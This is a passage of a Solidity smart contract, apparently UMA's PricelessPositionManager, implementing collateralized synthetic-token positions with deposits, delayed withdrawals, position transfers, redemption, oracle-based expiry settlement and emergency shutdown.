// Instance of FinancialProductLibrary to provide custom price and collateral requirement transformations to extend
// the functionality of the EMP to support a wider range of financial products.
FinancialProductLibrary public financialProductLibrary;
/****************************************
* EVENTS *
****************************************/
event RequestTransferPosition(address indexed oldSponsor);
event RequestTransferPositionExecuted(address indexed oldSponsor, address indexed newSponsor);
event RequestTransferPositionCanceled(address indexed oldSponsor);
event Deposit(address indexed sponsor, uint256 indexed collateralAmount);
event Withdrawal(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawal(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawalExecuted(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawalCanceled(address indexed sponsor, uint256 indexed collateralAmount);
event PositionCreated(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount);
event NewSponsor(address indexed sponsor);
event EndedSponsorPosition(address indexed sponsor);
event Repay(address indexed sponsor, uint256 indexed numTokensRepaid, uint256 indexed newTokenCount);
event Redeem(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount);
event ContractExpired(address indexed caller);
event SettleExpiredPosition(
address indexed caller,
uint256 indexed collateralReturned,
uint256 indexed tokensBurned
);
event EmergencyShutdown(address indexed caller, uint256 originalExpirationTimestamp, uint256 shutdownTimestamp);
/****************************************
* MODIFIERS *
****************************************/
modifier onlyPreExpiration() {
_onlyPreExpiration();
_;
}
modifier onlyPostExpiration() {
_onlyPostExpiration();
_;
}
modifier onlyCollateralizedPosition(address sponsor) {
_onlyCollateralizedPosition(sponsor);
_;
}
// Check that the current state of the pricelessPositionManager is Open.
// This prevents multiple calls to `expire` and `EmergencyShutdown` post expiration.
modifier onlyOpenState() {
_onlyOpenState();
_;
}
modifier noPendingWithdrawal(address sponsor) {
_positionHasNoPendingWithdrawal(sponsor);
_;
}
/**
* @notice Construct the PricelessPositionManager
* @dev Deployer of this contract should consider carefully which parties have ability to mint and burn
* the synthetic tokens referenced by `_tokenAddress`. This contract's security assumes that no external accounts
* can mint new tokens, which could be used to steal all of this contract's locked collateral.
* We recommend to only use synthetic token contracts whose sole Owner role (the role capable of adding & removing roles)
* is assigned to this contract, whose sole Minter role is assigned to this contract, and whose
* total supply is 0 prior to construction of this contract.
* @param _expirationTimestamp unix timestamp of when the contract will expire.
* @param _withdrawalLiveness liveness delay, in seconds, for pending withdrawals.
* @param _collateralAddress ERC20 token used as collateral for all positions.
* @param _tokenAddress ERC20 token used as synthetic token.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _priceIdentifier registered in the DVM for the synthetic.
* @param _minSponsorTokens minimum number of tokens that must exist at any time in a position.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
* @param _financialProductLibraryAddress Contract providing contract state transformations.
*/
constructor(
uint256 _expirationTimestamp,
uint256 _withdrawalLiveness,
address _collateralAddress,
address _tokenAddress,
address _finderAddress,
bytes32 _priceIdentifier,
FixedPoint.Unsigned memory _minSponsorTokens,
address _timerAddress,
address _financialProductLibraryAddress
) public FeePayer(_collateralAddress, _finderAddress, _timerAddress) nonReentrant() {
require(_expirationTimestamp > getCurrentTime());
require(_getIdentifierWhitelist().isIdentifierSupported(_priceIdentifier));
expirationTimestamp = _expirationTimestamp;
withdrawalLiveness = _withdrawalLiveness;
tokenCurrency = ExpandedIERC20(_tokenAddress);
minSponsorTokens = _minSponsorTokens;
priceIdentifier = _priceIdentifier;
// Initialize the financialProductLibrary at the provided address.
financialProductLibrary = FinancialProductLibrary(_financialProductLibraryAddress);
}
/****************************************
* POSITION FUNCTIONS *
****************************************/
/**
* @notice Requests to transfer ownership of the caller's current position to a new sponsor address.
* Once the request liveness is passed, the sponsor can execute the transfer and specify the new sponsor.
* @dev The liveness length is the same as the withdrawal liveness.
*/
function requestTransferPosition() public onlyPreExpiration() nonReentrant() {
PositionData storage positionData = _getPositionData(msg.sender);
require(positionData.transferPositionRequestPassTimestamp == 0);
// Make sure the proposed expiration of this request is not post-expiry.
uint256 requestPassTime = getCurrentTime().add(withdrawalLiveness);
require(requestPassTime < expirationTimestamp);
// Update the position object for the user.
positionData.transferPositionRequestPassTimestamp = requestPassTime;
emit RequestTransferPosition(msg.sender);
}
/**
* @notice After a passed transfer position request (i.e., by a call to `requestTransferPosition` and waiting
* `withdrawalLiveness`), transfers ownership of the caller's current position to `newSponsorAddress`.
* @dev Transferring positions can only occur if the recipient does not already have a position.
* @param newSponsorAddress is the address to which the position will be transferred.
*/
function transferPositionPassedRequest(address newSponsorAddress)
public
onlyPreExpiration()
noPendingWithdrawal(msg.sender)
nonReentrant()
{
require(
_getFeeAdjustedCollateral(positions[newSponsorAddress].rawCollateral).isEqual(
FixedPoint.fromUnscaledUint(0)
)
);
PositionData storage positionData = _getPositionData(msg.sender);
require(
positionData.transferPositionRequestPassTimestamp != 0 &&
positionData.transferPositionRequestPassTimestamp <= getCurrentTime()
);
// Reset transfer request.
positionData.transferPositionRequestPassTimestamp = 0;
positions[newSponsorAddress] = positionData;
delete positions[msg.sender];
emit RequestTransferPositionExecuted(msg.sender, newSponsorAddress);
emit NewSponsor(newSponsorAddress);
emit EndedSponsorPosition(msg.sender);
}
/**
* @notice Cancels a pending transfer position request.
*/
function cancelTransferPosition() external onlyPreExpiration() nonReentrant() {
PositionData storage positionData = _getPositionData(msg.sender);
require(positionData.transferPositionRequestPassTimestamp != 0);
emit RequestTransferPositionCanceled(msg.sender);
// Reset withdrawal request.
positionData.transferPositionRequestPassTimestamp = 0;
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` into the specified sponsor's position.
* @dev Increases the collateralization level of a position after creation. This contract must be approved to spend
* at least `collateralAmount` of `collateralCurrency`.
* @param sponsor the sponsor to credit the deposit to.
* @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position.
*/
function depositTo(address sponsor, FixedPoint.Unsigned memory collateralAmount)
public
onlyPreExpiration()
noPendingWithdrawal(sponsor)
fees()
nonReentrant()
{
require(collateralAmount.isGreaterThan(0));
PositionData storage positionData = _getPositionData(sponsor);
// Increase the position and global collateral balance by collateral amount.
_incrementCollateralBalances(positionData, collateralAmount);
emit Deposit(sponsor, collateralAmount.rawValue);
// Move collateral currency from sender to contract.
collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue);
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` into the caller's position.
* @dev Increases the collateralization level of a position after creation. This contract must be approved to spend
* at least `collateralAmount` of `collateralCurrency`.
* @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position.
*/
function deposit(FixedPoint.Unsigned memory collateralAmount) public {
// This is just a thin wrapper over depositTo that specified the sender as the sponsor.
depositTo(msg.sender, collateralAmount);
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` from the sponsor's position to the sponsor.
* @dev Reverts if the withdrawal puts this position's collateralization ratio below the global collateralization
* ratio. In that case, use `requestWithdrawal`. Might not withdraw the full requested amount to account for precision loss.
* @param collateralAmount is the amount of collateral to withdraw.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function withdraw(FixedPoint.Unsigned memory collateralAmount)
public
onlyPreExpiration()
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
require(collateralAmount.isGreaterThan(0));
PositionData storage positionData = _getPositionData(msg.sender);
// Decrement the sponsor's collateral and global collateral amounts. Check the GCR between decrement to ensure
// position remains above the GCR within the withdrawal. If this is not the case the caller must submit a request.
amountWithdrawn = _decrementCollateralBalancesCheckGCR(positionData, collateralAmount);
emit Withdrawal(msg.sender, amountWithdrawn.rawValue);
// Move collateral currency from contract to sender.
// Note: that we move the amount of collateral that is decreased from rawCollateral (inclusive of fees)
// instead of the user requested amount. This eliminates precision loss that could occur
// where the user withdraws more collateral than rawCollateral is decremented by.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
}
/**
* @notice Starts a withdrawal request that, if passed, allows the sponsor to withdraw` from their position.
* @dev The request will be pending for `withdrawalLiveness`, during which the position can be liquidated.
* @param collateralAmount the amount of collateral requested to withdraw
*/
function requestWithdrawal(FixedPoint.Unsigned memory collateralAmount)
public
onlyPreExpiration()
noPendingWithdrawal(msg.sender)
nonReentrant()
{
PositionData storage positionData = _getPositionData(msg.sender);
require(
collateralAmount.isGreaterThan(0) &&
collateralAmount.isLessThanOrEqual(_getFeeAdjustedCollateral(positionData.rawCollateral))
);
// Make sure the proposed expiration of this request is not post-expiry.
uint256 requestPassTime = getCurrentTime().add(withdrawalLiveness);
require(requestPassTime < expirationTimestamp);
// Update the position object for the user.
positionData.withdrawalRequestPassTimestamp = requestPassTime;
positionData.withdrawalRequestAmount = collateralAmount;
emit RequestWithdrawal(msg.sender, collateralAmount.rawValue);
}
/**
* @notice After a passed withdrawal request (i.e., by a call to `requestWithdrawal` and waiting
* `withdrawalLiveness`), withdraws `positionData.withdrawalRequestAmount` of collateral currency.
* @dev Might not withdraw the full requested amount in order to account for precision loss or if the full requested
* amount exceeds the collateral in the position (due to paying fees).
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function withdrawPassedRequest()
external
onlyPreExpiration()
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
PositionData storage positionData = _getPositionData(msg.sender);
require(
positionData.withdrawalRequestPassTimestamp != 0 &&
positionData.withdrawalRequestPassTimestamp <= getCurrentTime()
);
// If withdrawal request amount is > position collateral, then withdraw the full collateral amount.
// This situation is possible due to fees charged since the withdrawal was originally requested.
FixedPoint.Unsigned memory amountToWithdraw = positionData.withdrawalRequestAmount;
if (positionData.withdrawalRequestAmount.isGreaterThan(_getFeeAdjustedCollateral(positionData.rawCollateral))) {
amountToWithdraw = _getFeeAdjustedCollateral(positionData.rawCollateral);
}
// Decrement the sponsor's collateral and global collateral amounts.
amountWithdrawn = _decrementCollateralBalances(positionData, amountToWithdraw);
// Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0.
_resetWithdrawalRequest(positionData);
// Transfer approved withdrawal amount from the contract to the caller.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
emit RequestWithdrawalExecuted(msg.sender, amountWithdrawn.rawValue);
}
/**
* @notice Cancels a pending withdrawal request.
*/
function cancelWithdrawal() external nonReentrant() {
PositionData storage positionData = _getPositionData(msg.sender);
require(positionData.withdrawalRequestPassTimestamp != 0);
emit RequestWithdrawalCanceled(msg.sender, positionData.withdrawalRequestAmount.rawValue);
// Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0.
_resetWithdrawalRequest(positionData);
}
/**
* @notice Creates tokens by creating a new position or by augmenting an existing position. Pulls `collateralAmount` into the sponsor's position and mints `numTokens` of `tokenCurrency`.
* @dev Reverts if minting these tokens would put the position's collateralization ratio below the
* global collateralization ratio. This contract must be approved to spend at least `collateralAmount` of
* `collateralCurrency`.
* @dev This contract must have the Minter role for the `tokenCurrency`.
* @param collateralAmount is the number of collateral tokens to collateralize the position with
* @param numTokens is the number of tokens to mint from the position.
*/
function create(FixedPoint.Unsigned memory collateralAmount, FixedPoint.Unsigned memory numTokens)
public
onlyPreExpiration()
fees()
nonReentrant()
{
PositionData storage positionData = positions[msg.sender];
// Either the new create ratio or the resultant position CR must be above the current GCR.
require(
(_checkCollateralization(
_getFeeAdjustedCollateral(positionData.rawCollateral).add(collateralAmount),
positionData.tokensOutstanding.add(numTokens)
) || _checkCollateralization(collateralAmount, numTokens)),
"Insufficient collateral"
);
require(positionData.withdrawalRequestPassTimestamp == 0, "Pending withdrawal");
if (positionData.tokensOutstanding.isEqual(0)) {
require(numTokens.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position");
emit NewSponsor(msg.sender);
}
// Increase the position and global collateral balance by collateral amount.
_incrementCollateralBalances(positionData, collateralAmount);
// Add the number of tokens created to the position's outstanding tokens.
positionData.tokensOutstanding = positionData.tokensOutstanding.add(numTokens);
totalTokensOutstanding = totalTokensOutstanding.add(numTokens);
emit PositionCreated(msg.sender, collateralAmount.rawValue, numTokens.rawValue);
// Transfer tokens into the contract from caller and mint corresponding synthetic tokens to the caller's address.
collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue);
require(tokenCurrency.mint(msg.sender, numTokens.rawValue));
}
/**
* @notice Burns `numTokens` of `tokenCurrency` to decrease sponsors position size, without sending back `collateralCurrency`.
* This is done by a sponsor to increase position CR. Resulting size is bounded by minSponsorTokens.
* @dev Can only be called by token sponsor. This contract must be approved to spend `numTokens` of `tokenCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param numTokens is the number of tokens to be burnt from the sponsor's debt position.
*/
function repay(FixedPoint.Unsigned memory numTokens)
public
onlyPreExpiration()
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
{
PositionData storage positionData = _getPositionData(msg.sender);
require(numTokens.isLessThanOrEqual(positionData.tokensOutstanding));
// Decrease the sponsors position tokens size. Ensure it is above the min sponsor size.
FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens);
require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens));
positionData.tokensOutstanding = newTokenCount;
// Update the totalTokensOutstanding after redemption.
totalTokensOutstanding = totalTokensOutstanding.sub(numTokens);
emit Repay(msg.sender, numTokens.rawValue, newTokenCount.rawValue);
// Transfer the tokens back from the sponsor and burn them.
tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue);
tokenCurrency.burn(numTokens.rawValue);
}
/**
* @notice Burns `numTokens` of `tokenCurrency` and sends back the proportional amount of `collateralCurrency`.
* @dev Can only be called by a token sponsor. Might not redeem the full proportional amount of collateral
* in order to account for precision loss. This contract must be approved to spend at least `numTokens` of
* `tokenCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param numTokens is the number of tokens to be burnt for a commensurate amount of collateral.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function redeem(FixedPoint.Unsigned memory numTokens)
public
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
PositionData storage positionData = _getPositionData(msg.sender);
require(!numTokens.isGreaterThan(positionData.tokensOutstanding));
FixedPoint.Unsigned memory fractionRedeemed = numTokens.div(positionData.tokensOutstanding);
FixedPoint.Unsigned memory collateralRedeemed =
fractionRedeemed.mul(_getFeeAdjustedCollateral(positionData.rawCollateral));
// If redemption returns all tokens the sponsor has then we can delete their position. Else, downsize.
if (positionData.tokensOutstanding.isEqual(numTokens)) {
amountWithdrawn = _deleteSponsorPosition(msg.sender);
} else {
// Decrement the sponsor's collateral and global collateral amounts.
amountWithdrawn = _decrementCollateralBalances(positionData, collateralRedeemed);
// Decrease the sponsors position tokens size. Ensure it is above the min sponsor size.
FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens);
require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position");
positionData.tokensOutstanding = newTokenCount;
// Update the totalTokensOutstanding after redemption.
totalTokensOutstanding = totalTokensOutstanding.sub(numTokens);
}
emit Redeem(msg.sender, amountWithdrawn.rawValue, numTokens.rawValue);
// Transfer collateral from contract to caller and burn callers synthetic tokens.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue);
tokenCurrency.burn(numTokens.rawValue);
}
/**
* @notice After a contract has passed expiry all token holders can redeem their tokens for underlying at the
* prevailing price defined by the DVM from the `expire` function.
* @dev This burns all tokens from the caller of `tokenCurrency` and sends back the proportional amount of
* `collateralCurrency`. Might not redeem the full proportional amount of collateral in order to account for
* precision loss. This contract must be approved to spend `tokenCurrency` at least up to the caller's full balance.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function settleExpired()
external
onlyPostExpiration()
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
// If the contract state is open and onlyPostExpiration passed then `expire()` has not yet been called.
require(contractState != ContractState.Open, "Unexpired position");
// Get the current settlement price and store it. If it is not resolved will revert.
if (contractState != ContractState.ExpiredPriceReceived) {
expiryPrice = _getOraclePriceExpiration(expirationTimestamp);
contractState = ContractState.ExpiredPriceReceived;
}
// Get caller's tokens balance and calculate amount of underlying entitled to them.
FixedPoint.Unsigned memory tokensToRedeem = FixedPoint.Unsigned(tokenCurrency.balanceOf(msg.sender));
FixedPoint.Unsigned memory totalRedeemableCollateral = tokensToRedeem.mul(expiryPrice);
// If the caller is a sponsor with outstanding collateral they are also entitled to their excess collateral after their debt.
PositionData storage positionData = positions[msg.sender];
if (_getFeeAdjustedCollateral(positionData.rawCollateral).isGreaterThan(0)) {
// Calculate the underlying entitled to a token sponsor. This is collateral - debt in underlying.
FixedPoint.Unsigned memory tokenDebtValueInCollateral = positionData.tokensOutstanding.mul(expiryPrice);
FixedPoint.Unsigned memory positionCollateral = _getFeeAdjustedCollateral(positionData.rawCollateral);
// If the debt is greater than the remaining collateral, they cannot redeem anything.
FixedPoint.Unsigned memory positionRedeemableCollateral =
tokenDebtValueInCollateral.isLessThan(positionCollateral)
? positionCollateral.sub(tokenDebtValueInCollateral)
: FixedPoint.Unsigned(0);
// Add the number of redeemable tokens for the sponsor to their total redeemable collateral.
totalRedeemableCollateral = totalRedeemableCollateral.add(positionRedeemableCollateral);
// Reset the position state as all the value has been removed after settlement.
delete positions[msg.sender];
emit EndedSponsorPosition(msg.sender);
}
// Take the min of the remaining collateral and the collateral "owed". If the contract is undercapitalized,
// the caller will get as much collateral as the contract can pay out.
FixedPoint.Unsigned memory payout =
FixedPoint.min(_getFeeAdjustedCollateral(rawTotalPositionCollateral), totalRedeemableCollateral);
// Decrement total contract collateral and outstanding debt.
amountWithdrawn = _removeCollateral(rawTotalPositionCollateral, payout);
totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRedeem);
emit SettleExpiredPosition(msg.sender, amountWithdrawn.rawValue, tokensToRedeem.rawValue);
// Transfer tokens & collateral and burn the redeemed tokens.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensToRedeem.rawValue);
tokenCurrency.burn(tokensToRedeem.rawValue);
}
/****************************************
* GLOBAL STATE FUNCTIONS *
****************************************/
/**
* @notice Locks contract state in expired and requests oracle price.
* @dev this function can only be called once the contract is expired and can't be re-called.
*/
function expire() external onlyPostExpiration() onlyOpenState() fees() nonReentrant() {
contractState = ContractState.ExpiredPriceRequested;
// Final fees do not need to be paid when sending a request to the optimistic oracle.
_requestOraclePriceExpiration(expirationTimestamp);
emit ContractExpired(msg.sender);
}
/**
* @notice Premature contract settlement under emergency circumstances.
* @dev Only the governor can call this function as they are permissioned within the `FinancialContractAdmin`.
* Upon emergency shutdown, the contract settlement time is set to the shutdown time. This enables withdrawal
* to occur via the standard `settleExpired` function. Contract state is set to `ExpiredPriceRequested`
* which prevents re-entry into this function or the `expire` function. No fees are paid when calling
* `emergencyShutdown` as the governor who would call the function would also receive the fees.
*/
function emergencyShutdown() external override onlyPreExpiration() onlyOpenState() nonReentrant() {
require(msg.sender == _getFinancialContractsAdminAddress());
contractState = ContractState.ExpiredPriceRequested;
// Expiratory time now becomes the current time (emergency shutdown time).
// Price requested at this time stamp. `settleExpired` can now withdraw at this timestamp.
uint256 oldExpirationTimestamp = expirationTimestamp;
expirationTimestamp = getCurrentTime();
_requestOraclePriceExpiration(expirationTimestamp);
emit EmergencyShutdown(msg.sender, oldExpirationTimestamp, expirationTimestamp);
}
/**
* @notice Theoretically supposed to pay fees and move money between margin accounts to make sure they
* reflect the NAV of the contract. However, this functionality doesn't apply to this contract.
* @dev This is supposed to be implemented by any contract that inherits `AdministrateeInterface` and callable
* only by the Governor contract. This method is therefore minimally implemented in this contract and does nothing.
*/
function remargin() external override onlyPreExpiration() nonReentrant() {
return;
}
/**
* @notice Accessor method for a sponsor's collateral.
* @dev This is necessary because the struct returned by the positions() method shows
* rawCollateral, which isn't a user-readable value.
* @dev This method accounts for pending regular fees that have not yet been withdrawn from this contract, for
* example if the `lastPaymentTime != currentTime`.
* @param sponsor address whose collateral amount is retrieved.
* @return collateralAmount amount of collateral within a sponsors position.
*/
function getCollateral(address sponsor) external view nonReentrantView() returns (FixedPoint.Unsigned memory) {
// Note: do a direct access to avoid the validity check.
return _getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(positions[sponsor].rawCollateral));
}
/**
* @notice Accessor method for the total collateral stored within the PricelessPositionManager.
* @return totalCollateral amount of all collateral within the Expiring Multi Party Contract.
* @dev This method accounts for pending regular fees that have not yet been withdrawn from this contract, for
* example if the `lastPaymentTime != currentTime`.
*/
function totalPositionCollateral() external view nonReentrantView() returns (FixedPoint.Unsigned memory) {
return _getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(rawTotalPositionCollateral));
}
/**
* @notice Accessor method to compute a transformed price using the finanicalProductLibrary specified at contract
* deployment. If no library was provided then no modification to the price is done.
* @param price input price to be transformed.
* @param requestTime timestamp the oraclePrice was requested at.
* @return transformedPrice price with the transformation function applied to it.
* @dev This method should never revert.
*/
function transformPrice(FixedPoint.Unsigned memory price, uint256 requestTime)
public
view
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
return _transformPrice(price, requestTime);
}
/**
* @notice Accessor method to compute a transformed price identifier using the finanicalProductLibrary specified
* at contract deployment. If no library was provided then no modification to the identifier is done.
* @param requestTime timestamp the identifier is to be used at.
* @return transformedPrice price with the transformation function applied to it.
* @dev This method should never revert.
*/
function transformPriceIdentifier(uint256 requestTime) public view nonReentrantView() returns (bytes32) {
return _transformPriceIdentifier(requestTime);
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// Reduces a sponsor's position and global counters by the specified parameters. Handles deleting the entire
// position if the entire position is being removed. Does not make any external transfers.
function _reduceSponsorPosition(
address sponsor,
FixedPoint.Unsigned memory tokensToRemove,
FixedPoint.Unsigned memory collateralToRemove,
FixedPoint.Unsigned memory withdrawalAmountToRemove
) internal {
PositionData storage positionData = _getPositionData(sponsor);
// If the entire position is being removed, delete it instead.
if (
tokensToRemove.isEqual(positionData.tokensOutstanding) &&
_getFeeAdjustedCollateral(positionData.rawCollateral).isEqual(collateralToRemove)
) {
_deleteSponsorPosition(sponsor);
return;
}
// Decrement the sponsor's collateral and global collateral amounts.
_decrementCollateralBalances(positionData, collateralToRemove);
// Ensure that the sponsor will meet the min position size after the reduction.
FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(tokensToRemove);
require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position");
positionData.tokensOutstanding = newTokenCount;
// Decrement the position's withdrawal amount.
positionData.withdrawalRequestAmount = positionData.withdrawalRequestAmount.sub(withdrawalAmountToRemove);
// Decrement the total outstanding tokens in the overall contract.
totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRemove);
}
// Deletes a sponsor's position and updates global counters. Does not make any external transfers.
function _deleteSponsorPosition(address sponsor) internal returns (FixedPoint.Unsigned memory) {
PositionData storage positionToLiquidate = _getPositionData(sponsor);
FixedPoint.Unsigned memory startingGlobalCollateral = _getFeeAdjustedCollateral(rawTotalPositionCollateral);
// Remove the collateral and outstanding from the overall total position.
FixedPoint.Unsigned memory remainingRawCollateral = positionToLiquidate.rawCollateral;
rawTotalPositionCollateral = rawTotalPositionCollateral.sub(remainingRawCollateral);
totalTokensOutstanding = totalTokensOutstanding.sub(positionToLiquidate.tokensOutstanding);
// Reset the sponsors position to have zero outstanding and collateral.
delete positions[sponsor];
emit EndedSponsorPosition(sponsor);
// Return fee-adjusted amount of collateral deleted from position.
return startingGlobalCollateral.sub(_getFeeAdjustedCollateral(rawTotalPositionCollateral));
}
function _pfc() internal view virtual override returns (FixedPoint.Unsigned memory) {
return _getFeeAdjustedCollateral(rawTotalPositionCollateral);
}
function _getPositionData(address sponsor)
internal
view
onlyCollateralizedPosition(sponsor)
returns (PositionData storage)
{
return positions[sponsor];
}
function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
function _getOracle() internal view returns (OracleInterface) {
return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
function _getOptimisticOracle() internal view returns (OptimisticOracleInterface) {
return OptimisticOracleInterface(finder.getImplementationAddress(OracleInterfaces.OptimisticOracle));
}
function _getFinancialContractsAdminAddress() internal view returns (address) {
return finder.getImplementationAddress(OracleInterfaces.FinancialContractsAdmin);
}
// Requests a price for transformed `priceIdentifier` at `requestedTime` from the Oracle.
function _requestOraclePriceExpiration(uint256 requestedTime) internal {
OptimisticOracleInterface optimisticOracle = _getOptimisticOracle();
// Increase token allowance to enable the optimistic oracle reward transfer.
FixedPoint.Unsigned memory reward = _computeFinalFees();
collateralCurrency.safeIncreaseAllowance(address(optimisticOracle), reward.rawValue);
optimisticOracle.requestPrice(
_transformPriceIdentifier(requestedTime),
requestedTime,
_getAncillaryData(),
collateralCurrency,
reward.rawValue // Reward is equal to the final fee
);
// Apply haircut to all sponsors by decrementing the cumlativeFeeMultiplier by the amount lost from the final fee.
_adjustCumulativeFeeMultiplier(reward, _pfc());
}
// Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request.
function _getOraclePriceExpiration(uint256 requestedTime) internal returns (FixedPoint.Unsigned memory) {
// Create an instance of the oracle and get the price. If the price is not resolved revert.
OptimisticOracleInterface optimisticOracle = _getOptimisticOracle();
require(
optimisticOracle.hasPrice(
address(this),
_transformPriceIdentifier(requestedTime),
requestedTime,
_getAncillaryData()
)
);
int256 optimisticOraclePrice =
optimisticOracle.settleAndGetPrice(
_transformPriceIdentifier(requestedTime),
requestedTime,
_getAncillaryData()
);
// For now we don't want to deal with negative prices in positions.
if (optimisticOraclePrice < 0) {
optimisticOraclePrice = 0;
}
return _transformPrice(FixedPoint.Unsigned(uint256(optimisticOraclePrice)), requestedTime);
}
// Requests a price for transformed `priceIdentifier` at `requestedTime` from the Oracle.
function _requestOraclePriceLiquidation(uint256 requestedTime) internal {
OracleInterface oracle = _getOracle();
oracle.requestPrice(_transformPriceIdentifier(requestedTime), requestedTime);
}
// Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request.
function _getOraclePriceLiquidation(uint256 requestedTime) internal view returns (FixedPoint.Unsigned memory) {
// Create an instance of the oracle and get the price. If the price is not resolved revert.
OracleInterface oracle = _getOracle();
require(oracle.hasPrice(_transformPriceIdentifier(requestedTime), requestedTime), "Unresolved oracle price");
int256 oraclePrice = oracle.getPrice(_transformPriceIdentifier(requestedTime), requestedTime);
// For now we don't want to deal with negative prices in positions.
if (oraclePrice < 0) {
oraclePrice = 0;
}
return _transformPrice(FixedPoint.Unsigned(uint256(oraclePrice)), requestedTime);
}
// Reset withdrawal request by setting the withdrawal request and withdrawal timestamp to 0.
function _resetWithdrawalRequest(PositionData storage positionData) internal {
positionData.withdrawalRequestAmount = FixedPoint.fromUnscaledUint(0);
positionData.withdrawalRequestPassTimestamp = 0;
}
// Ensure individual and global consistency when increasing collateral balances. Returns the change to the position.
function _incrementCollateralBalances(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_addCollateral(positionData.rawCollateral, collateralAmount);
return _addCollateral(rawTotalPositionCollateral, collateralAmount);
}
// Ensure individual and global consistency when decrementing collateral balances. Returns the change to the
// position. We elect to return the amount that the global collateral is decreased by, rather than the individual
// position's collateral, because we need to maintain the invariant that the global collateral is always
// <= the collateral owned by the contract to avoid reverts on withdrawals. The amount returned = amount withdrawn.
function _decrementCollateralBalances(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_removeCollateral(positionData.rawCollateral, collateralAmount);
return _removeCollateral(rawTotalPositionCollateral, collateralAmount);
}
// Ensure individual and global consistency when decrementing collateral balances. Returns the change to the position.
// This function is similar to the _decrementCollateralBalances function except this function checks position GCR
// between the decrements. This ensures that collateral removal will not leave the position undercollateralized.
function _decrementCollateralBalancesCheckGCR(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_removeCollateral(positionData.rawCollateral, collateralAmount);
require(_checkPositionCollateralization(positionData), "CR below GCR");
return _removeCollateral(rawTotalPositionCollateral, collateralAmount);
}
// These internal functions are supposed to act identically to modifiers, but re-used modifiers
// unnecessarily increase contract bytecode size.
// source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6
function _onlyOpenState() internal view {
require(contractState == ContractState.Open, "Contract state is not OPEN");
}
function _onlyPreExpiration() internal view {
require(getCurrentTime() < expirationTimestamp, "Only callable pre-expiry");
}
function _onlyPostExpiration() internal view {
require(getCurrentTime() >= expirationTimestamp, "Only callable post-expiry");
}
function _onlyCollateralizedPosition(address sponsor) internal view {
require(
_getFeeAdjustedCollateral(positions[sponsor].rawCollateral).isGreaterThan(0),
"Position has no collateral"
);
}
// Note: This checks whether an already existing position has a pending withdrawal. This cannot be used on the
// `create` method because it is possible that `create` is called on a new position (i.e. one without any collateral
// or tokens outstanding) which would fail the `onlyCollateralizedPosition` modifier on `_getPositionData`.
function _positionHasNoPendingWithdrawal(address sponsor) internal view {
require(_getPositionData(sponsor).withdrawalRequestPassTimestamp == 0, "Pending withdrawal");
}
/****************************************
* PRIVATE FUNCTIONS *
****************************************/
